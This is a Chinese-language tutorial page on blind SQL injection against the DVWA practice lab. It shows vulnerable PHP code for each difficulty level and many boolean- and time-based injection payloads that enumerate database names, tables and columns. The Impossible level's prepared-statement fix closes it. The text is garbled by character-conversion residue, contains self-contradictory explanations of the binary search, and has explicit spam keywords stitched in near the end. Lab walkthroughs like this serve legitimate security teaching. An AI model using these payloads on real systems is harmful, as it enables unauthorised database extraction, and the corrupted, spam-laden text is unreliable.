系統(tǒng)環(huán)境

因?yàn)榫W(wǎng)上關(guān)于dvwa的相關(guān)資料都比較舊，所以想重新過一邊dvwa的各個(gè)類型的漏洞，順帶初步入門php代碼審計(jì)相關(guān)的知識。環(huán)境安裝可以直接參照網(wǎng)上教程新手指南：手把手教你如何搭建自己的滲透測試環(huán)境，已經(jīng)寫的非常詳細(xì)，可以直接按照教程一步步安裝。

SQL Injection（Blind）簡介

盲注，與一般的注入?yún)^(qū)別在于，一般的注入攻擊者可以直接從頁面上看到注入語句的執(zhí)行結(jié)果，而盲注攻擊者通常是無法從顯示頁面上獲取執(zhí)行結(jié)果，甚至連注入語句是否執(zhí)行都無從得知，因此盲注的難度比一般的注入高，目前網(wǎng)絡(luò)上現(xiàn)存的SQL注入漏洞大多數(shù)是SQL盲注。

手工盲注思路

手工盲注的過程，就像你跟一個(gè)機(jī)器人聊天一樣，這個(gè)機(jī)器人知道的很多，但是只會回答“是”或者“不是”，因此你需要詢問的問題，例如“數(shù)據(jù)庫名字的第一個(gè)字母是不是a啊”，通過這種機(jī)械的詢問，最終獲得你想要的數(shù)據(jù)。
盲注分為基于布爾的盲注，基于時(shí)間的盲注以及基于錯(cuò)誤的盲注，這里由于實(shí)驗(yàn)環(huán)境的限制所以只展示基于布爾的盲注和基于時(shí)間的盲注。
下面要介紹手工盲注的步驟（可與之前的手工注入做比較）
1.判斷是否存在注入，注入是字符型還是數(shù)字型
2.猜解當(dāng)前數(shù)據(jù)庫名
3.猜解數(shù)據(jù)庫的表名
4.猜解表中的字段名
5.猜解數(shù)據(jù)
接下來對4個(gè)級別的代碼進(jìn)行分析

Low級別服務(wù)器端核心代碼

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

low級別的代碼堵參數(shù)id沒有做任何檢查，過濾，存在明顯的sql注入漏洞，同時(shí)SQL語句查詢返回的結(jié)果只有兩種
User ID exists in the database.
與
User ID is MISSING from the database.
因此這里是SQL盲注漏洞。
漏洞利用
首先是基于布爾的盲注：
1.判斷是否存在注入，注入是字符型還是數(shù)字型
輸入1，顯示相應(yīng)用戶的存在：

image.png

輸入1' and 1=1 #,顯示存在；

image.png

輸入1' and 1=2 #,顯示不存在；

image.png

說明存在字符型注入
2.猜解當(dāng)前數(shù)據(jù)庫名
想要猜解數(shù)據(jù)庫名，首先要猜解數(shù)據(jù)庫名的長度，然后在挨個(gè)猜解字符
輸入1' and length(database())=1 #,顯示不存在
輸入1' and length(database())=2 #,顯示不存在
輸入1' and length(database())=3 #,顯示不存在
輸入1' and length(database())=4 #,顯示存在
說明數(shù)據(jù)庫名的長度為4.

下面采用二分法猜解數(shù)據(jù)庫名稱
輸入1' and ascii(substr(database(),1,1))>97 #,顯示存在，說明數(shù)據(jù)庫名的第一個(gè)字符的ascii碼大于97（小寫字母a的ascii碼值）；
輸入1' and ascii(substr(database(),1,1))>122 #,顯示不存在，說明數(shù)據(jù)庫名的第一個(gè)字符的ascii碼大于122（小寫字母z的ascii碼值）；
輸入1' and ascii(substr(database(),1,1))>109 #,顯示不存在，說明數(shù)據(jù)庫名的第一個(gè)字符的ascii碼大于109（小寫字母m的ascii碼值）；
輸入1' and ascii(substr(database(),1,1))>100 #,顯示不存在，說明數(shù)據(jù)庫名的第一個(gè)字符的ascii碼大于100（小寫字母e的ascii碼值）；
輸入1' and ascii(substr(database(),1,1))<100 #,顯示不存在，說明數(shù)據(jù)庫名的第一個(gè)字符的ascii碼大于100（小寫字母d的ascii碼值）；，所以數(shù)據(jù)庫的第一個(gè)字符的ascii值為100，即小寫字母d。
重復(fù)以上步驟，就可以猜解處完整的數(shù)據(jù)庫名（dvwa）了。
3.猜解數(shù)據(jù)庫中的表名
首先猜解數(shù)據(jù)庫中表的數(shù)量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #顯示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #顯示存在
說明數(shù)據(jù)庫中有兩個(gè)表。
接下里挨個(gè)猜表名
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在
1'and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在
…
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在
說明第一個(gè)表名長度為9。

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在
說明表的第一個(gè)字母為g
....
重復(fù)上述步驟，即可猜解處兩個(gè)表名guestbook/users
4.猜解表中的字段值
首先猜解字段值的數(shù)量
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 顯示不存在
…
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # 顯示存在
說明users表有8個(gè)字段。
接著挨個(gè)猜解字段名：
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在
說明users表的第一個(gè)字段為7個(gè)字符長度。
采用二分法，即可猜解出所有字段名。
5.猜解數(shù)據(jù)
同樣采用二分法，還可以采用基于時(shí)間的盲注
1.判斷是否存在注入，注入是字符型還是數(shù)字型
輸入1’ and sleep(5) #，感覺到明顯延遲；
輸入1 and sleep(5) #，沒有延遲；
說明存在字符型的基于時(shí)間的盲注。
2.猜解當(dāng)前數(shù)據(jù)庫名
首先猜解數(shù)據(jù)名的長度：
1’ and if(length(database())=1,sleep(5),1) # 沒有延遲
1’ and if(length(database())=2,sleep(5),1) # 沒有延遲
1’ and if(length(database())=3,sleep(5),1) # 沒有延遲
1’ and if(length(database())=4,sleep(5),1) # 明顯延遲
說明數(shù)據(jù)庫名長度為4個(gè)字符。
接著采用二分法猜解數(shù)據(jù)庫名：
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲
…
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒有延遲
說明數(shù)據(jù)庫名的第一個(gè)字符為小寫字母d。
…
重復(fù)上述步驟，即可猜解出數(shù)據(jù)庫名。
3.猜解數(shù)據(jù)庫中的表名
首先猜解數(shù)據(jù)庫中表的數(shù)量：
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒有延遲
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲
說明數(shù)據(jù)庫中有兩個(gè)表。
接著挨個(gè)猜解表名：
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒有延遲
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲
說明第一個(gè)表名的長度為9個(gè)字符。
采用二分法即可猜解出表名。
4.猜解表中的字段名
首先猜解表中字段的數(shù)量：
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒有延遲
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲
說明users表中有8個(gè)字段。
接著挨個(gè)猜解字段名：
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒有延遲
…
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲
說明users表的第一個(gè)字段長度為7個(gè)字符。
采用二分法即可猜解出各個(gè)字段名。
5.猜解數(shù)據(jù)
同樣采用二分法。

Medium服務(wù)端核心代碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

可以看到，Medium級別的代碼利用mysql_real_escape_string函數(shù)對特殊符號\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義，同時(shí)前端頁面設(shè)置了下拉選擇表單，希望以此來控制用戶的輸入。
漏洞利用
雖然前端使用了下拉選擇菜單，但我們依然可以通過抓包改參數(shù)id，提交惡意構(gòu)造的查詢參數(shù)。
之前已經(jīng)介紹了詳細(xì)的盲注流程，這里就簡要演示幾個(gè)。
首先是基于布爾的盲注：
抓包改參數(shù)id為1 and length(database())=4 #，顯示存在，說明數(shù)據(jù)庫名的長度為4個(gè)字符；
抓包改參數(shù)id為1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #，顯示存在，說明數(shù)據(jù)中的第一個(gè)表名長度為9個(gè)字符；
抓包改參數(shù)id為1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #，（0×7573657273為users的16進(jìn)制），顯示存在，說明uers表有8個(gè)字段。
然后是基于時(shí)間的盲注：
抓包改參數(shù)id為1 and if(length(database())=4,sleep(5),1) #，明顯延遲，說明數(shù)據(jù)庫名的長度為4個(gè)字符；
抓包改參數(shù)id為1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #，明顯延遲，說明數(shù)據(jù)中的第一個(gè)表名長度為9個(gè)字符；
抓包改參數(shù)id為1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #，明顯延遲，說明uers表有8個(gè)字段。

High服務(wù)端核心代碼

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到，High級別的代碼利用cookie傳遞參數(shù)id，當(dāng)SQL查詢結(jié)果為空時(shí)，會執(zhí)行函數(shù)sleep(seconds)，目的是為了擾亂基于時(shí)間的盲注。同時(shí)在 SQL查詢語句中添加了LIMIT 1，希望以此控制只輸出一個(gè)結(jié)果。
漏洞利用
雖然添加了LIMIT 1，但是我們可以通過#將其注釋掉。但由于服務(wù)器端執(zhí)行sleep函數(shù)，會使得基于時(shí)間盲注的準(zhǔn)確性受到影響，這里我們只演示基于布爾的盲注：
抓包將cookie中參數(shù)id改為1’ and length(database())=4 #，顯示存在，說明數(shù)據(jù)庫名的長度為4個(gè)字符；
抓包將cookie中參數(shù)id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #，顯示存在，說明數(shù)據(jù)中的第一個(gè)表名長度為9個(gè)字符；
抓包將cookie中參數(shù)id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #，（0×7573657273 為users的16進(jìn)制），顯示存在，說明uers表有8個(gè)字段。

Impossible服務(wù)端核心代碼

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到，Impossible級別的代碼采用了PDO技術(shù)，劃清了代碼與數(shù)據(jù)的界限，有效防御SQL注入，Anti-CSRF token機(jī)制的加入了進(jìn)一步提高了安全性。

參考文檔

三个男躁一个女,国精产品一区一手机的秘密,麦子交换系列最经典十句话,欧美国产综合欧美视频

新手教程-DVWA全級別教程之SQL Injection（blind）

新手教程-DVWA全級別教程之SQL Injection（blind）

系統(tǒng)環(huán)境

SQL Injection（Blind）簡介

手工盲注思路

Low級別服務(wù)器端核心代碼

Medium服務(wù)端核心代碼

High服務(wù)端核心代碼

Impossible服務(wù)端核心代碼

推薦閱讀更多精彩內(nèi)容

三个男躁一个女,国精产品一区一手机的秘密,麦子交换系列最经典十句话,欧美 国产 综合 欧美 视频

新手教程-DVWA全級別教程之SQL Injection（blind）

系統(tǒng)環(huán)境

SQL Injection（Blind）簡介

手工盲注思路

Low級別服務(wù)器端核心代碼

Medium服務(wù)端核心代碼

High服務(wù)端核心代碼

Impossible服務(wù)端核心代碼

推薦閱讀更多精彩內(nèi)容

三个男躁一个女,国精产品一区一手机的秘密,麦子交换系列最经典十句话,欧美国产综合欧美视频